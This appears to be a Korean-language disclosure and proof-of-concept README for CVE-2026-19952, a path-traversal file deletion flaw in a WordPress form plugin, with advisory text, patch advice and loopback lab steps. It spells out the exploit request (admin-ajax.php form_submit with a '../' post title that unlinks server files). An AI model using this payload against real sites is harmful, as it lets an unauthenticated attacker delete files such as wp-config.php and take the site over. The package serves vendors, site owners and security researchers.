
CVE-2026-19952에 대한 개념 증명 및 공개 패키지로, WordPress Frontend Admin 플러그인의 인증되지 않은 임의 파일 삭제 취약점과 실습 재현 단계를 포함합니다.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-19952
WordPress — Frontend Admin by DynamiApps 3.29.12 — DynamiApps
WordPress용 Frontend Admin by DynamiApps 플러그인은 3.29.12 이하 모든 버전의 move_folders 함수에서 파일 경로 검증이 불충분하여 임의 파일 삭제에 취약합니다. 이로 인해 인증되지 않은 공격자가 서버의 임의 파일을 삭제할 수 있으며, 적절한 파일(예: wp-config.php)이 삭제될 경우 원격 코드 실행으로 쉽게 이어질 수 있습니다. 이는 폼이 공개 가시성(who_can_see='all')으로 구성된 경우 인증 없이 악용 가능하며, 필요한 nonce는 렌더링된 폼에서 공개적으로 획득할 수 있습니다.
| CVE | CVE-2026-19952 · CVE.org |
| CWE | CWE-22 |
| CVSS | High: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Product | WordPress — Frontend Admin by DynamiApps |
| Affected | 3.29.12 이하 모든 버전(포함) |
| Patched | 3.29.13 이상 |
| Auth | 없음 (소스 맵 참조) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 전용 · 벤더/클라이언트 공개 패키지, 스캐너 아님 |
move_folders는 싱크이며, upload_file이 아닌 acf/pre_update_value/type=upload_files(갤러리)에 후킹됩니다. HTTP는 admin-ajax.php action=frontend_admin/form_submit입니다. 머지 태그는 제출된 post_title의 [post:title]입니다.
POST/wp-admin/admin-ajax.phpGET /wp-content/poc19952/index.php expect POCWitness19952GET /fea-files-lab/ harvest hiddens and field keysPOST /wp-admin/admin-ajax.php action=frontend_admin/form_submit acff[post][title]=../poc19952 acff[post][files]=1check_submit_form nopriv + who_can_see=allcreate_record post_title _input=../poc19952ActionPost::run acf_update_value on upload_files fieldmove_folders get_dynamic_values([acf:post_title]) -> ../poc19952upload_dir = basedir/../poc19952 = wp-content/poc19952unlink wp-content/poc19952/index.phpGET /wp-content/poc19952/index.php no POCWitness19952[acf:post_title]POST 전에는 GET /wp-content/poc19952/index.php에 POCWitness19952가 포함됩니다. POST 후에는 해당 문자열이 사라집니다(404). 폼 JSON 성공만으로는 해당되지 않습니다.
먼저 할 일: Frontend Admin by DynamiApps를 3.29.13 이상으로 업데이트하세요(get_safe_upload_dir).
업그레이드 후 검증
CVE-2026-19952-Abraxas-Labs.py를 다시 실행하세요: 매핑된 증거가 나타나지 않아야 합니다.즉시 업데이트할 수 없는 경우
오직 http://127.0.0.1:8088(또는 바인딩한 루프백)만 대상으로 하세요. 이 스크립트를 인터넷을 향해 지정하지 마세요.
python3 CVE-2026-19952-Abraxas-Labs.py
성공은 응답 본문에 위의 증거가 나타나는 것입니다. 일반적인 200 HTML은 해당되지 않습니다.
재현에 사용된 루프백 스택. 이 폴더의 Dockerfile이 소스에서 빌드하지 않는 한 공식 이미지입니다.
cd lab
docker compose up --force-recreate
YAML이 로컬 디렉터리를 마운트하는 경우(버전 표의 플러그인 zip / 소스 태그) Compose 옆에 취약한 제품 트리를 바인딩하세요. 127.0.0.1 외에는 아무것도 게시하지 마세요.
www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
Plugin directory: acf-frontend-form-element
Trac browser: plugins.trac.wordpress.org/acf-frontend-form-element
SVN tags: plugins.svn.wordpress.org/acf-frontend-form-element
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-19952 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-19952`
- CWE: CWE-22
- published: 2026-09-01T05:17:09.747
## NVD description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
## MITRE description
error: <urlopen error [Errno 8] nodename nor servname provided, or not known>
## Affected
## References (JSON sources only)
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1014
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1044
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1047
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/shortcodes.php#L99
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L125
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L276
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.13/main/frontend/fields/general/class-upload-file.php#L1047
- https://www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
- https://github.com/advisories/GHSA-3rrx-59q7-9g4m
- https://nvd.nist.gov/vuln/detail/CVE-2026-19952
## GitHub advisory
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion...
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
이 공개 패키지는 GNU Affero General Public License v3.0에 따라 라이선스됩니다. LICENSE를 참조하세요.
이 패키지는 벤더, 사이트 소유자, 라이선스된 랩을 위한 것입니다. 스크립트는 127.0.0.1과 통신합니다. 소유하지 않은 시스템에 사용하는 것은 Abraxas Labs에 의해 승인되지 않습니다. 보증은 없습니다.